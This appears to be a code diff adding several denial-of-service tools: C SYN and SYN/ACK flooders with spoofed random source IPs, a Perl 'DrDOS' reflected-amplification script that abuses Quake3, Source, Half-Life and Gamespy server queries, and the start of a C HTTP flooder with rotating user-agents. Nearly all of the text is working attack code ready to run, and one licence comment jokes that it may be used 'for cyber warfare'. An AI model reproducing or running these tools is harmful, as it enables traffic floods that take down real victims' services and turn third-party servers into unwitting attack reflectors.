||||
if(s < 0){
|
||||
fprintf(stderr, "derped.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
tcph->dest = htons (rand() % 2048);
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Unable to allocate.\n");
|
||||
exit(-1);
|
||||
}
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
tcph->seq = rand_cmwc() & 0xFFFF;
|
||||
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
||||
tcph->check = 0;
|
||||
tcph->check = tcpcsum(iph, tcph);
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 5){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
int num_threads = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[3]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
int multiplier = 20;
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,219 @@
|
||||
#!/usr/bin/perl -w
|
||||
|
||||
use Benchmark;
|
||||
use Net::RawIP;
|
||||
use Time::HiRes qw ( usleep );
|
||||
|
||||
my $rand = int( rand 0x400 );
|
||||
my $frag = 0;
|
||||
my $doff = 0x05;
|
||||
my $ttl = 0xFF;
|
||||
my $tos = 0x08;
|
||||
my $pid;
|
||||
my $tx;
|
||||
my @list;
|
||||
my @running;
|
||||
my @pids;
|
||||
|
||||
my %attack =
|
||||
( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 );
|
||||
|
||||
if ( @ARGV < 7 || @ARGV > 7 ) {
|
||||
&usage();
|
||||
exit;
|
||||
}
|
||||
|
||||
$tx = $ARGV[3];
|
||||
my $t0 = new Benchmark;
|
||||
|
||||
print "\n*** Now Reading Hosts Into Array\n\n";
|
||||
|
||||
open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n";
|
||||
chomp( @list = <ELITE> );
|
||||
close(ELITE);
|
||||
|
||||
sub tcp {
|
||||
my ( $ip, $port ) = @_;
|
||||
my $a = new Net::RawIP(
|
||||
{
|
||||
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl },
|
||||
tcp => {
|
||||
dest => $port,
|
||||
source => $ARGV[1],
|
||||
syn => 1,
|
||||
ack => 0,
|
||||
fin => 0,
|
||||
rst => 0,
|
||||
psh => 0,
|
||||
urg => 0,
|
||||
doff => $doff
|
||||
}
|
||||
}
|
||||
);
|
||||
$a->send( 0, $tx );
|
||||
}
|
||||
|
||||
sub quake3 {
|
||||
my ( $ip, $port ) = @_;
|
||||
my $a = new Net::RawIP(
|
||||
{
|
||||
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
|
||||
udp => {
|
||||
dest => $port,
|
||||
source => $ARGV[1],
|
||||
data => chr(255) . chr(255) . chr(255) . chr(255) . "getstatus" . chr(10),
|
||||
}
|
||||
}
|
||||
);
|
||||
$a->send( 0, $tx );
|
||||
|
||||
|
||||
}
|
||||
|
||||
sub source {
|
||||
my ( $ip, $port ) = @_;
|
||||
my $a = new Net::RawIP(
|
||||
{
|
||||
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
|
||||
udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . chr(85), }
|
||||
}
|
||||
);
|
||||
$a->send( 0, $tx );
|
||||
|
||||
|
||||
}
|
||||
|
||||
sub hl {
|
||||
my ( $ip, $port ) = @_;
|
||||
my $a = new Net::RawIP(
|
||||
{
|
||||
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
|
||||
udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . "rules", }
|
||||
}
|
||||
);
|
||||
$a->send( 0, $tx );
|
||||
|
||||
}
|
||||
|
||||
sub gs {
|
||||
my ( $ip, $port ) = @_;
|
||||
my $a = new Net::RawIP(
|
||||
{
|
||||
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
|
||||
udp => {
|
||||
dest => $port,
|
||||
source => $ARGV[1],
|
||||
data => chr(92) . chr(115) . chr(116) . chr(97) . chr(116) . chr(117) . chr(115) . chr(92),
|
||||
}
|
||||
}
|
||||
);
|
||||
$a->send( 0, $tx );
|
||||
|
||||
}
|
||||
|
||||
sub gs2 {
|
||||
my ( $ip, $port ) = @_;
|
||||
my $a = new Net::RawIP(
|
||||
{
|
||||
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
|
||||
udp => {
|
||||
dest => $port,
|
||||
source => $ARGV[1],
|
||||
data => chr(254)
|
||||
. chr(253)
|
||||
. chr(0)
|
||||
. chr(67)
|
||||
. chr(79)
|
||||
. chr(82)
|
||||
. chr(89)
|
||||
. chr(255)
|
||||
. chr(255)
|
||||
. chr(255),
|
||||
}
|
||||
}
|
||||
);
|
||||
$a->send( 0, $tx );
|
||||
|
||||
}
|
||||
|
||||
sub paxor {
|
||||
my $type = $_[0];
|
||||
unless ( $type eq "mixed" ) {
|
||||
while (1) {
|
||||
foreach (@list) { $attack{$type}->( split( ':', $_ ) );}
|
||||
}
|
||||
}
|
||||
else {
|
||||
my @part;
|
||||
while (1) {
|
||||
foreach (@list) {
|
||||
@part = split( ":", $_ );
|
||||
$attack{ $part[2] }->( $part[0], $part[1]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
for($number = 0;$number < $ARGV[5];$number++)
|
||||
{
|
||||
$pid = fork();
|
||||
if ( $pid == 0 ) {
|
||||
$SIG{INT} = \&controlsub;
|
||||
|
||||
&paxor( $ARGV[4] );
|
||||
|
||||
my $t1 = new Benchmark;
|
||||
my $td = timediff( $t1, $t0 );
|
||||
print "\nTotal Time: ", timestr($td), "\n";
|
||||
sleep(5);
|
||||
exit;
|
||||
}
|
||||
else {
|
||||
push(@pids, $pid);
|
||||
}
|
||||
}
|
||||
sleep( $ARGV[6] );
|
||||
foreach(@pids)
|
||||
{
|
||||
kill( "INT", $_ );
|
||||
}
|
||||
exit;
|
||||
|
||||
sub controlme {
|
||||
$SIG{INT} = \&controlme;
|
||||
print "Signal Caught Now Exiting\n";
|
||||
my $t1 = new Benchmark;
|
||||
my $td = timediff( $t1, $t0 );
|
||||
print "\nTotal Time: ", timestr($td), "\n";
|
||||
sleep(5);
|
||||
exit;
|
||||
}
|
||||
|
||||
sub controlsub {
|
||||
$SIG{INT} = \&controlsub;
|
||||
exit;
|
||||
}
|
||||
|
||||
|
||||
sub usage {
|
||||
print << "HEREDOC";
|
||||
$0 <target> <target port> <reflector list> <weight> <attack type> <threads> <Time>
|
||||
DrDOS Tool V1.8 FINAL by ohnoes1479
|
||||
|
||||
Time: Limit running time of the script, Time is in seconds
|
||||
threads: number of threads to run
|
||||
attack types:
|
||||
tcp: reflected tcp SYN attack
|
||||
quake3: reflected udp attack using quake3 based servers
|
||||
source: reflected udp attack using Valve Source based servers
|
||||
hl: reflected udp attack using Half Life servers
|
||||
gs: reflected udp attack using Gamespy based servers
|
||||
gs2: reflected udp attack using Gamespy 2 based servers
|
||||
mixed: specify type of server in list, EG:
|
||||
8.8.8.8:80:tcp
|
||||
64.120.46.100:28960:quake3
|
||||
Command: $0 127.0.0.1 8080 servers.txt 5 tcp
|
||||
HEREDOC
|
||||
|
||||
}
|
||||
@@ -0,0 +1,200 @@
|
||||
/*
|
||||
* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
|
||||
*/
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <pthread.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <netdb.h>
|
||||
#include <net/if.h>
|
||||
#include <arpa/inet.h>
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
static unsigned int floodport;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
|
||||
struct tcp_pseudo
|
||||
{
|
||||
unsigned long src_addr;
|
||||
unsigned long dst_addr;
|
||||
unsigned char zero;
|
||||
unsigned char proto;
|
||||
unsigned short length;
|
||||
} pseudohead;
|
||||
unsigned short total_len = iph->tot_len;
|
||||
pseudohead.src_addr=iph->saddr;
|
||||
pseudohead.dst_addr=iph->daddr;
|
||||
pseudohead.zero=0;
|
||||
pseudohead.proto=IPPROTO_TCP;
|
||||
pseudohead.length=htons(sizeof(struct tcphdr));
|
||||
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
|
||||
unsigned short *tcp = malloc(totaltcp_len);
|
||||
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
||||
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
|
||||
unsigned short output = csum(tcp,totaltcp_len);
|
||||
free(tcp);
|
||||
return output;
|
||||
}
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = 6;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
|
||||
void setup_tcp_header(struct tcphdr *tcph)
|
||||
{
|
||||
tcph->source = htons(5678);
|
||||
tcph->seq = rand();
|
||||
tcph->ack_seq = rand();
|
||||
tcph->res2 = 0;
|
||||
tcph->doff = 5;
|
||||
tcph->syn = 1;
|
||||
tcph->ack = 1;
|
||||
tcph->window = rand();
|
||||
tcph->check = 0;
|
||||
tcph->urg_ptr = 0;
|
||||
}
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(floodport);
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
tcph->dest = htons(floodport);
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
tcph->seq = rand_cmwc() & 0xFFFF;
|
||||
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
||||
tcph->check = 0;
|
||||
tcph->check = tcpcsum(iph, tcph);
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 6){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
int num_threads = atoi(argv[3]);
|
||||
floodport = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[4]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
int multiplier = 20;
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,218 @@
|
||||
/*
|
||||
This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
|
||||
*/
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <pthread.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <netdb.h>
|
||||
#include <net/if.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
static unsigned int floodport;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
|
||||
|
||||
struct tcp_pseudo
|
||||
{
|
||||
unsigned long src_addr;
|
||||
unsigned long dst_addr;
|
||||
unsigned char zero;
|
||||
unsigned char proto;
|
||||
unsigned short length;
|
||||
} pseudohead;
|
||||
unsigned short total_len = iph->tot_len;
|
||||
pseudohead.src_addr=iph->saddr;
|
||||
pseudohead.dst_addr=iph->daddr;
|
||||
pseudohead.zero=0;
|
||||
pseudohead.proto=IPPROTO_TCP;
|
||||
pseudohead.length=htons(sizeof(struct tcphdr));
|
||||
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
|
||||
unsigned short *tcp = malloc(totaltcp_len);
|
||||
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
||||
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
|
||||
unsigned short output = csum(tcp,totaltcp_len);
|
||||
free(tcp);
|
||||
return output;
|
||||
}
|
||||
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = 6;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
|
||||
void setup_tcp_header(struct tcphdr *tcph)
|
||||
{
|
||||
tcph->source = htons(5678);
|
||||
tcph->seq = rand();
|
||||
tcph->ack_seq = 1;
|
||||
tcph->res2 = 1;
|
||||
tcph->doff = 5;
|
||||
tcph->syn = 1;
|
||||
tcph->window = htons(65535);
|
||||
tcph->check = 1;
|
||||
tcph->urg_ptr = 1;
|
||||
}
|
||||
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
||||
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(floodport);
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
|
||||
tcph->dest = htons(floodport);
|
||||
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
tcph->seq = rand_cmwc() & 0xFFFF;
|
||||
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
||||
tcph->check = 0;
|
||||
tcph->check = tcpcsum(iph, tcph);
|
||||
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 6){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
|
||||
int num_threads = atoi(argv[3]);
|
||||
floodport = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[4]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
|
||||
int multiplier = 20;
|
||||
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,598 @@
|
||||
#include <pthread.h>
|
||||
#include <sys/resource.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#define RND_CHAR (char)((rand() % 26)+97)
|
||||
|
||||
char *useragents[] = {
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 RestSharp 102.0.0.0",
|
||||
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
|
||||
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
|
||||
"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
|
||||
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.00",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; )",
|
||||
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
|
||||
"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.5) Gecko/2009021916 Songbird/1.1.2 (20090331142126)",
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
|
||||
"Mozilla/5.0 (X11; U; Linux; cs-CZ) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) rekonq",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows XP 5.1) Lobo/0.98.4",
|
||||
"X-Smiles/1.2-20081113",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008120120 Blackbird/0.9991",
|
||||
"Mozilla/5.0 (SCH-F859/F859DG12;U;NUCLEUS/2.1;Profile/MIDP-2.1 Configuration/CLDC-1.1;480*800;CTC/2.0) Dolfin/2.0",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Conkeror/0.9.3",
|
||||
"LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.55-324-g9365f23; WebKit 4.5.2/4.5.2)",
|
||||
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.8) Gecko/20100317 Postbox/1.1.3",
|
||||
"xine/1.1.16.3",
|
||||
"Bunjalloo/0.7.6(Nintendo DS;U;en)",
|
||||
"Mozilla/5.0 (X11; U; Linux i686; en-US; SkipStone 0.8.3) Gecko/20020615 Debian/1.0.0-3 ",
|
||||
"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
|
||||
"MMozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.1.5 Safari/533.3",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
|
||||
